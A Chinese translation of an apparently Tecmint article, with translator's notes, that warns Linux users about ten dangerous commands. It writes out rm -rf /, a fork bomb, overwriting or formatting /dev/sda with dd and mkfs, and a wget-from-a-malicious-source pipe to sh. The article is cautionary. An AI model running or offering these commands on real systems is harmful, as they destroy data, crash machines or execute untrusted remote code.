我們大多數(shù)的朋友都是一輩子都用的windows系統(tǒng),基本用鼠標(biāo)就可以完成所有的操作,但是在Linux系統(tǒng)中那么基本上就是鍵盤+命令操作電腦的,Linux命令行?有用、很高效,也很有趣,但有時(shí)候也很危險(xiǎn),尤其是在你不確定你自己在正在做什么時(shí)候。這篇文章并不打算引來(lái)你對(duì)Linux或linux 命令行的憤怒,只是想讓你意識(shí)到在你運(yùn)行某些命令時(shí)應(yīng)該三思而后行。(譯注:當(dāng)然,以下命令通常都是在root權(quán)限下才能將愚蠢發(fā)揮到無(wú)可救藥;在普通用戶身份下,破壞的只是自己的一畝三分地。) 1. rm -rf 命令 rm -rf命令是刪除文件夾及其內(nèi)容最快的方式之一。僅僅一丁點(diǎn)的敲錯(cuò)或無(wú)知都可能導(dǎo)致不可恢復(fù)的系統(tǒng)崩壞。下列是一些rm 命令的選項(xiàng)。 rm命令在Linux下通常用來(lái)刪除文件。 rm -r 命令遞歸的刪除文件夾,甚至是空的文件夾。(譯注:個(gè)人認(rèn)為此處應(yīng)該是說(shuō)錯(cuò)了,從常識(shí)看,應(yīng)該是“甚至是非空的文件夾”) rm -f 命令能不經(jīng)過(guò)詢問(wèn)直接刪除‘只讀文件’。(譯注:Linux下刪除文件并不在乎該文件是否是只讀的,而只是在意其父目錄是否有寫權(quán)限。所以,-f這個(gè)參數(shù)只是表示不必一個(gè)個(gè)刪除確認(rèn),而是一律悄悄刪除。另外,原始的rm命令其實(shí)也是沒有刪除提示的,只是一般的發(fā)行版都會(huì)將rm通過(guò)別名的方式增加-i參數(shù)來(lái)要求刪除確認(rèn),而-f則抑制了這個(gè)提示。) rm -rf / : 強(qiáng)制刪除根目錄下所有東東。(就是說(shuō)刪除完畢后,什么也沒有了……) rm -rf *: 強(qiáng)制刪除當(dāng)前目錄的所有文件。 rm -rf . : 強(qiáng)制刪除當(dāng)前文件夾及其子文件夾。 從現(xiàn)在起,當(dāng)你要執(zhí)行rm -rf命令時(shí)請(qǐng)留心一點(diǎn)。我們可以在“.bashrc”文件對(duì)‘rm‘命令創(chuàng)建rm -i的別名,來(lái)預(yù)防用 ‘rm‘命令刪除文件時(shí)的事故,它會(huì)要求你確認(rèn)每一個(gè)刪除請(qǐng)求。(譯注:大多數(shù)發(fā)行版已經(jīng)這樣做了,如果還沒有,請(qǐng)這樣做,并在使用-f參數(shù)前一定考慮好你在做什么!譯者本人有著血淚的教訓(xùn)啊。) 2. :(){:|:&};: 命令 這就是個(gè)fork 炸彈的實(shí)例。具體操作是通過(guò)定義一個(gè)名為 ‘:‘的函數(shù),它會(huì)調(diào)用自己兩次,一次在前臺(tái)另一次運(yùn)行在后臺(tái)。它會(huì)反復(fù)的執(zhí)行下去直到系統(tǒng)崩潰。 哦?你確認(rèn)你要試試么?千萬(wàn)別在公司正式的服務(wù)器上實(shí)驗(yàn)啊~~ 3. 命令> /dev/sda 上列命令會(huì)將某個(gè)‘命令‘的輸出寫到塊設(shè)備/dev/sda中。該操作會(huì)將在塊設(shè)備中的所有數(shù)據(jù)塊替換為命令寫入的原始數(shù)據(jù),從而導(dǎo)致整個(gè)塊設(shè)備的數(shù)據(jù)丟失。 4. mv文件夾/dev/null 這個(gè)命令會(huì)移動(dòng)某個(gè)‘文件夾‘到/dev/null。在Linux中 /dev/null 或 null 設(shè)備是一個(gè)特殊的文件,所有寫入它的數(shù)據(jù)都會(huì)被清除,然后返回寫操作成功。(譯注:這就是黑洞啊。當(dāng)然,要說(shuō)明的是,通過(guò)將文件夾移動(dòng)到黑洞,并不能阻止數(shù)據(jù)恢復(fù)軟件的救贖,所以,真正的徹底毀滅,需要采用專用的軟件或者手法來(lái)完成——我知道你肯定有些東西想刪除得干干凈凈的。) 上列命令會(huì)將User目錄所有內(nèi)容移動(dòng)到/dev/null,這意味著所有東西都被‘卷入’黑洞 (null)之中。 5. wget http://malicious_source -O- | sh 上列命令會(huì)從一個(gè)(也許是)惡意源下載一個(gè)腳本并執(zhí)行。Wget命令會(huì)下載這個(gè)腳本,而sh會(huì)(無(wú)條件的)執(zhí)行下載下來(lái)的腳本。 注意: 你應(yīng)該時(shí)刻注意你下載包或腳本的源。只能使用那些從可信任的源中下載腳本/程序。(譯注:所以,你真的知道你在做什么嗎?當(dāng)遇到這種需要是,我的做法是,先wget下來(lái),然后我去讀一讀其中到底寫了些什么,然后考慮是否執(zhí)行。) 6. mkfs.ext3 /dev/sda 上列命令會(huì)格式化塊設(shè)備‘sda’,你無(wú)疑知道在執(zhí)行上列命令后你的塊設(shè)備(硬盤驅(qū)動(dòng)器)會(huì)被格式化,嶄新的!沒有任何數(shù)據(jù),直接讓你的系統(tǒng)達(dá)到不可恢復(fù)的階段。(譯注:通常不會(huì)直接使用/dev/sda這樣的設(shè)備,除非是作為raw設(shè)備使用,一般都需要將sda分成類似sda1、sda2這樣的分區(qū)后才使用。當(dāng)然,無(wú)論你使用sda還是sda1,這樣對(duì)塊設(shè)備或分區(qū)進(jìn)行mkfs都是毀滅性的,上面的數(shù)據(jù)都會(huì)被蒸發(fā)了。) 7. > file 上列命令常用來(lái)清空文件內(nèi)容(譯注:通常也用于記錄命令輸出。不過(guò)請(qǐng)?jiān)趫?zhí)行前,確認(rèn)輸出的文件是空的或者還不存在,否則原來(lái)的文件可真是恢復(fù)不了了——連數(shù)據(jù)恢復(fù)軟件都未必能幫助你了。另外,我想你可能真正想用的是“>>”,即累加新的輸出到文件,而不是刷新那個(gè)文件。)。如果用上列執(zhí)行時(shí)輸入錯(cuò)誤或無(wú)知的輸入類似 “>xt.conf” 的命令會(huì)覆蓋配置文件或其他任何的系統(tǒng)配置文件。 8. ^foo^bar 這個(gè)命令在我們十個(gè)鮮為人知的 Linux 命令 - Part 3中描述過(guò),用來(lái)編輯先前運(yùn)行的命令而無(wú)需重打整個(gè)命令。但當(dāng)用foobar命令時(shí)如果你沒有徹底檢查改變?cè)济畹娘L(fēng)險(xiǎn),這可能導(dǎo)致真正的麻煩。(譯注:事實(shí)上,這種小技巧是譯者認(rèn)為的,少數(shù)史前時(shí)代遺留下來(lái)的無(wú)用而有害的“黑客”技巧。) 9. dd if=/dev/random of=/dev/sda 上列命令會(huì)向塊設(shè)備sda寫入隨機(jī)的垃圾文件從而擦出數(shù)據(jù)。當(dāng)然!你的系統(tǒng)可能陷入混亂和不可恢復(fù)的狀態(tài)。(譯注:記得上面說(shuō)過(guò)mv到黑洞并不能徹底刪除數(shù)據(jù)么?那么這個(gè)命令就是給了你一個(gè)徹底刪除的方法!當(dāng)然為了保險(xiǎn)起見,你可以覆寫多次。) 10. 隱藏命令 下面的命令其實(shí)就是上面第一個(gè)命令 (rm -rf)。這里的代碼是隱藏在十六進(jìn)制里的,一個(gè)無(wú)知的用戶可能就會(huì)被愚弄。在終端里運(yùn)行下面命令可能會(huì)擦除你的根分區(qū)。 這個(gè)命令表明通常真正的危險(xiǎn)是隱藏的,不會(huì)被輕易的檢測(cè)到。你必須時(shí)刻留心你在做什么結(jié)果會(huì)怎樣。不要編譯/運(yùn)行從未知來(lái)源的代碼。 注意:不要在你的或你的同學(xué)或?qū)W校的電腦里的Linux終端或Shell執(zhí)行以上的任何一個(gè)命令。如果你想測(cè)試它們,請(qǐng)?jiān)谔摂M機(jī)上運(yùn)行。任何不和諧或數(shù)據(jù)丟失,由于運(yùn)行上面的命令導(dǎo)致你的系統(tǒng)崩潰,文章作者和Tecmint概不負(fù)責(zé)。(譯注:譯者和轉(zhuǎn)載網(wǎng)站也不負(fù)責(zé)~!) |